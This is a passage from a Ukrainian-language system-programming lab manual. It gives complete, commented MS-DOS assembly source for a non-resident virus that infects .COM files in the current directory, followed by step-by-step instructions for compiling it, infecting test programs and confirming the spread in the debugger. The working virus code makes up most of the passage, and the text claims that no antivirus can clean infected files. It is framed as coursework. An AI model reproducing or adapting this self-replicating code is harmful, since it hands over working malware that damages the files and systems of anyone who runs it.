Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Практикум_СП

.pdf
Скачиваний:
39
Добавлен:
15.02.2015
Размер:
1.01 Mб
Скачать

Наберіть текст програми та скомпілюйте її, Але не компонуйте!!!

Збережіть його під ім’ям VirUS.asm.

.286

CSEG segment

assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG org 100h

Begin:

 

 

push offset Init

;3 байта

ret

 

;1 байт

dw 1122h

 

;2 байта (мітка, вказуюча, що файл вже заражений)

;

---------

 

;РАЗОМ: 6 байт

 

F_bytes equ $-offset Begin

;Довжина перших шести байт "файлу-жертви"

;=== Процедури роботи з файлами ===

;--- Відкриття файлу для запису ---

;Вхід: DX – шлях файлу ASCIZ

;Вихід: Handle, BX – номер файлу

Open_file proc

 

mov ах,3D02h

;відкриваємо файл для читання/запису

mov dx,1Eh

;DX указує на ім’я знайденого файлу в DTA

int 21h

 

mov Handle,ax

;зберігаємо номер файлу

mov bx,ax

 

ret

 

Handle dw 0FFFFh

;змінна для зберігання номера файлу

Open_file endp

 

;--- Закриття файлу ---

;Вхід: Handle – номер відкритого файлу

;Вихід: нічого

Close_file proc

 

cmp Handle,0FFFFh

;немає відкритих файлів?

je No_close

;тоді виходимо (закривати нічого!)

mov bx,Handle

;закриваємо файл...

mov ah,3Eh

 

int 21h

 

No_close:

 

ret

 

Close_file endp

 

; --- Пошук першого файлу ---

 

Find_first proc

 

81

mov ah,4Eh

;шукаємо перший файл по масці (Mask_file)

xor cx,cx

;атрибути звичайні (CX=0)

mov dx,offset Mask_file

;адрес маски в DS:DX

int 21h

;теперь ім'я файлу знаходиться за адресою 0BF00:001Eh

ret

 

Mask_file db '*.com',0

;маска для пошуку (тільки COM-файли)

Find_first endp

 

; --- Пошук наступних файлів ---

 

Find_next proc

 

xor dx,dx

;DS:DX вказують на DTA

xor cx,cx

;Атрибути звичайні

mov ah,4Fh

int 21h ;Теперь у DTA знаходиться інформація про наступний знайдений файл ret

Find_next endp

; --- Зараження файлу ---

Infect_file proc

;Основна процедура зараження знайденого файлу. ;Стежитимемо за тим, що відбувається з "файлом-жертвою".

mov ах,cs:[1Ch]

;отримаємо друге слово довжини файлу, що заражається

or ах, ах

;якщо воно не рівне 0, то виходимо...

jnz Error_infect

;...це означає, що розмір файлу більше 64Кб.

mov bp,cs:[1Ah]

;отримаємо молодше слово (тобто розмір файлу)

call Open_file

;Відкриваємо файл

jc Error_infect

;Помилка – на вихід

mov ah,3Fh

 

mov cx,F_bytes

;Читаємо перші шість байт "файлу-жертви"

mov dx,offset Finish

;В хвіст нашого вірусу

int 21h

 

jc Error_infect

 

;DX указує на буфер, куди прочитали ці байти.

;Якщо файл заражений, то 4 і 5 байти будуть рівні 2211h (перевернені навпаки)

;Перевіримо це, щоб 2 рази не заражати один і той же файл...

mov bx,dx

 

cmp word ptr [bx+4],1122h

;перевірка на те, чи заражений вже цей файл

je Error_infect

;Якщо так, то – на вихід...

mov ах,4202h

;Встановимо покажчик читання/запису на кінець файлу.

mov bx,Handle

 

xor cx,cx

;Відраховуємо 0 байт...

xor dx,dx

 

int 21h

 

82

jc Error_infect

 

mov ah,40h

;В BX вже є номер файлу.

mov cx,offset Finish-100h-F_bytes ;Пишемо у хвіст "файлу-жертви"

mov dx,100h

;тіло вірусу.

int 21h

 

jc Error_infect

 

;Ситуація тепер така:

 

mov ah,40h

;Після тіла вірусу дописуємо перші справжні шість байт

mov cx,F_bytes

;"файлу-жертви"...

mov dx,offset Finish

 

int 21h

jc Error_infect

;Одержуємо:

;Шість байт дописали у файл прямо за кодом вірусу.

call Close_file add bp,offset Init mov ss:[101h],bp call Open_file mov ah,40h mov cx,F_bytes push ss

pop ds mov dx,100h int 21h

push cs pop ds

call Close_file

clc ret

Error_infect: call Close_file stc

ret Infect_file endp

;закриваємо файл.

;до довжини файлу додаємо зсув мітки Init ;Заносимо одержану адреса після push ;відкриваємо файл. Тепер покажчик на початку...

;Запишемо перші шість байт (перехід на вірус) ;поверх що вже є...

;Пишемо з сегменту "файлу-жертви"

;Закриваємо файл

;Сигнал успішного зараження...

;Закриваємо файл ;Сигнал того, що відбулася помилка при зараженні.

; === Процедура ініціалізації вірусу ===

Init:

pusha

;Збережемо всі регістри в стеку

call Get_IP

;Отримаємо зсув, де ми зараз знаходимося

Get_IP:

 

pop ах

;Тепер у АХ - зсув

sub ах,offset Get_IP ;Віднімаємо з нього реальну адресу, де ми будемо ;знаходитися в сегменті 0BF00h

83

 

;Одержимо розмір файла-"жертви", якщо його немає

 

;(тобто ми запускаємо вірус перший раз),

 

;то АХ буде рівний 0

push 0BF00h

 

pop es

;ES – сегмент, куди переміщатимемо код вірусу.

mov di,offset Open_file

;DI – зсув (адреса найпершої процедури)

mov si,di

 

add si,ax

;SI повинен містити РЕАЛЬНУ адресу (зсув), оскільки ми

 

;поки що в сегменті "файлу-жертви"...

mov cx,offset Finish-offset Open_file ;CX = довжина нашого вірусу

rep movsb

;Тепер у пам'яті дві копії вірусу

;Занесемо в стек зсув (Lab_return+AX) і сегмент (CS) повернення з копії...

mov bx,offset Lab_return

add bx,ax ;штучно заносимо адресу повернення для retf push cs

push bx

;Занесемо в стек адресу для переходу в нашу копію:

;

* сегмент - 0BF00h

 

;

* зсув - Lab_jmp

 

 

mov bx,offset Lab_jmp

;Аналогично вище сказаному...

 

push 0BF00h

 

 

push bx

 

;Тепер перейдемо на мітку Lab_jmp, розташовану в сегменті 0BF00h. retf

; Тепер ми вже у області екрану

Lab_jmp:

;CS тепер рівний 0BF00h.

 

push cs

;настроїмо регістр DS

pop ds

 

mov ah,1Ah

;встановимо DTA для пошуку файлів

xor dx,dx

;він встановлюється на ту адресу, яка міститься

int 21h

;в регістрах DS:DX. У відладчику дивіться,

 

;що знаходиться в пам'яті на яку указують дані

 

;регістри, тобто DS:DX...

call Find_first ;ищем перший файл

jc Nomore_files

;нема COM-файлів в поточному каталозі – на вихід

Inf_file:

 

call Infect_file

;Знайшли – пробуємо заразити

jnc Nomore_files

;вдалося заразити – виходимо

call Find_next

;не вдалося заразити – шукаємо наступний

84

jnc Inf_file

;знайшли ще один COM-файл; намагаємося заразити...

;Відновимо перші шість байт файлу-жертви в пам'яті ;Примітка. Init: - мітка ініціалізації вірусу. Див. нижче.

Nomore_files:

 

mov si,offset First_bytes

;DS:SI – на масив з шести байт

mov di,100h

;ES:DI – куди переміщати рядок (шість байт)

push ss

;ES повинен указувати на сегмент "файлу-жертви"

pop es

 

mov cx,F_bytes

;6 байт переміщаємо: DS:SI = ES:DI

rep movsb

 

;Залишилося тільки передати управління на адресу 100h.

;Повернемося в сегмент программы - "жертви", тобто туди, де ми були спочатку. retf

; Тепер ми знову в сегменті зараженої програми

Lab_return:

push cs ;відновимо DS (ES вже в порядку!) pop ds

mov ah,1Ah

;відновимо DTA

mov dx,80h

 

int 21h

 

popa

;відновимо регістри

;!!! Передаємо управління "файлу-жертві" !!!

push 100h

;Зверніть увагу, як ми тепер переходимо...

ret

;...на адресу 100h.

; === Дані ===

;Тут (First_bytes) зберігатимуться перші байти "файлу-жертви". ;Якщо це перший запуск вірусу, то за умовчанням одержимо: ;nop (90h)

;nop (90h) ;nop (90h) ;nop (90h)

;int 20h (0CDh, 20h) ;Разом: 6 байт

;Перші шість байт зараженого файлу будуть такими: ;1 – push (68h)

;2,3 – адреса мітки ініціалізації вірусу

;4 – ret (0C3h)

;5,6 – чи заражений файл вже (1122h)? First_bytes db 4 dup (90h), 0CDh, 20h Finish equ $

CSEG ends end Begin

85

Деякі особливості програми-віруса.

1.Вірус нерезидентний. Це значить, що заражати він буде програми тільки, якщо запустити заражений com-файл. У пам'яті нічого не залишається!

2.Вірус не робить нічого, окрім як заражає файли.

3.Жоден антивірус не вилікує файл, заражений нашим вірусом! Отже, не сподівайтеся ні на Dr. Web, ні на що-небудь ще...

4.Вірус заражає тільки *.com-файли в поточному каталозі. Що це значить? Припустимо, в каталозі c:\assm є наступні файли:

told.com;

dona.com;

nc.exe;

причому, Told.com заражений нашим вірусом. Запускаючи test.com на виконання, він заражає dona.com. Запустивши потім dona.com, вірус нічого не заразить, оскільки в даному каталозі більше немає незаражених нашим вірусом

*.com-файлов.

Отже скомпілювавши лістинг зайдіть з Windows у папку C:\tasm\bin, а потім знову увійдіть у командний рядок, та скомпонуйте наш файл. Скомпонувавши, незапускайте його на виконання!!! Зайдіть у Windows та створіть папку з ім’ям Warning, перемістіть туди виконуваний файл вірусу, тобто WirUS.СОМ.

Для перевірки працездатності віруса створіть ще один текстовий файл під назвою ExTest.asm, введіть лістинг:

CSEG segment

assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG org 100h

Begin:

mov ah,9

mov dx,offset Message int 21h

ret

Message db 'Testing Wirus!$' CSEG ends

end Begin

Збережіть його у каталозі C:\tasm\bin, скомпілюйте та скомпонуйте, враховуючи що файл повинен бути типу *.СОМ. Скопіюйте файл у папку яку ви створили: Warning.

Зверніть увагу на розмір файлу ЕхТеst, його розмір становить 15 байтів. Відкрийте блокнот, і перетягніть файл ЕхТеst на його робочу частиину, або з контекстного меню файлу відкрийте його через редактор блокнот. Звичайно виконувані файли ніколи не відкривають з текстових редакторів, але це наглядно покаже, що ж діється з нашим файлом-жертвою. Тепер на екрані монітора ви бачите зміст файлу, у виконуваних файлах немає написаних для

86

людини зрозумілим текстом ні алгоритму роботи файлу, ні коментарів, ні навідь мнемокодів. Весь вміст являє собою бінарний файл, який розуміє тільки процесор. До зараження файл має вигляд, який показано на рисунку 8.1.

Рисунок 8.1 Вигляд файлу до зараження вірусом.

Повернемося у командний рядок, та зайдемо у папку С:\tasm\bin\Warning, яку ви там створили заздалегідь. Запустимо на виконання файл VirUS.com. Після завершення програми знову відкрийте файл ЕхТеst.СОМ, тепер його вигляд буде такий, як показано на рисунку 8.2.

Рисунок 8.2 Вигляд вмісту файла після зараження вірусом.

Як ми бачимо, перші шість байтів нашого файлу становлять код вірусу, після них йде оригінальний код програми, по закінчені знову йде тіло вірусу. І тільки останні шість байт містять перші шість байт коду нашого файлу ЕхТеst.СОМ. Доречі, зараз наш файл має розмір 291 байт, що означає, що до нього щось прикріпилося. Це щось – і є наш код віруса.

Отже, загальна схема:

1.шукаємо com-файл;

2.читаємо перші шість байт знайденого файлу;

3.файл більше 64Кб – див. пункт 1;

4.по зсуву +4 від початку файлу знаходиться 1122h? Якщо так – див.

пункт 1;

5.пишемо в "хвіст" знайденого файлу тіло нашого вірусу;

6.пишемо після тіла вірусу перші шість справжніх байт "файлу-

жертви";

7.закриваємо файл;

8.створюємо штучний перехід на мітку Inint, шляхом обчислення розміру файлу;

9.відкриваємо файл (покажчик на початку файлу);

87

10.пишемо перші шість байт переходу на на тіло вірусу + 1122h для пізнання того, що файл вже заражений нашим вірусом;

11.закриваємо файл;

12.відновимо перші шість реальних байт "файлу-жертви" в пам'яті (вони-то у нас записані в "хвості" "файлу-жертви" (див. пункт 6.);

13.передаємо управління нашому "файлу-жертві";

14.Завершення програми!!!

Тепер коли наш файл заражений, перевіримо, чи може він заражати інші файли. Для цього зайдіть у директорію С:tasm\bin, скомпонуйте файл ExTest.obj у виконуваний файл, він повинен займати 15 байтів, Змініть ім’я виконуваного файлу ExTest.com на Testin.com. Скопіюйте його у каталог Warning. Знову запустіть командний рядок, зайдіть у директорію c:tasm\bin\Warning, та запустіть на виконання файл ExTest.com (він у нас заражений нашим вірусом), на екрані монітору з’явиться напис: “Testing Wirus!”,а потім переглянте розмір нашого файлу Testin.com, він також буде мати розмір 291 байт, що доводить те, що наш вірус вразив файл ExTest.com, який при виконанні також розповсюдив код віруса у тіло нашої програми Testin.com.

Для остаточної перевірки переглянемо що робить наша програма при виконанні, для цього, скомпілюйте заново всі файли: VirUS.com, ExTest.com. Видаліть усі файли із каталогу Warning. Скопіюйте туди ці два файли: VirUS.com та ExTest.com. Запустіть командний рядок, та виконайте команду: debug ExTest.com, чотири рази введіть команду трасування, тобто літеру t та клавішу Enter і на екрані ви побачите вміст регістрів (Рисунок 8.3).

Рисунок 8.3 Робота програми до зараження вірусом

Натисніть клавішу q та знову Enter, запам’ятайте, що робила програма. А тепер знову введіть команду: debug VirUS.com, після чотири рази введіть команду

88

трасування і на екрані ви побачите які дії з регістрами виконує програма-вірус (Рисунок 8.4):

Рисунок 8.4 Робота програми віруса

Натисніть клавішу виходу – q. Тепер запустіть файл Virus.com на виконання, після цього знову введіть команду debug ExTest.com, чотири рази введіть команду трасування, і на екрані ви побачите як працює програма уражена вірусом (Рисунок 8.5):

Рисунок 8.5 Робота програми після зараження вірусом

89

Програма починає виконувати операції, які були задані вірусом. Порівняйте команди, які виконує програма-вірус та заражена програма з першим запуском програми Testin.com (ще коли вона будла незаражена). Програма-вірус, та заражена програма Testin.com, як видно у програмі Debug, починаєтся з команд RET, DB 60… Це свідчить, що тестова програма також заражена вірусом.

Контрольні питання

1.Що таке нерезидентна програма?

2.Які відмінності між черв’яками та троянськими програмами?

3.Поясніть які основні зміни у файлі-жертві виконує наш вірус?

4.Що таке програми шпигуни і що вони роблять?

5.Що таке хакерські утіліти, та програми дозвону?

Індивідуальні завдання

1.Створіть папку з будь якою назвою та помістіть туди файл-вірус.

2.Згадайте, які програми типу СОМ ви розробляли на попередніх практичних лабораторних роботах (Dialog, Hello..., програми з паролем).

3.Наберіть та скомпілюйте ці файли.

4.Перемістіть файли у створену папку.

5.Уразьте файли вірусом.

6.Проаналізуйте роботу програм до зараження вірусом, та після

нього.

90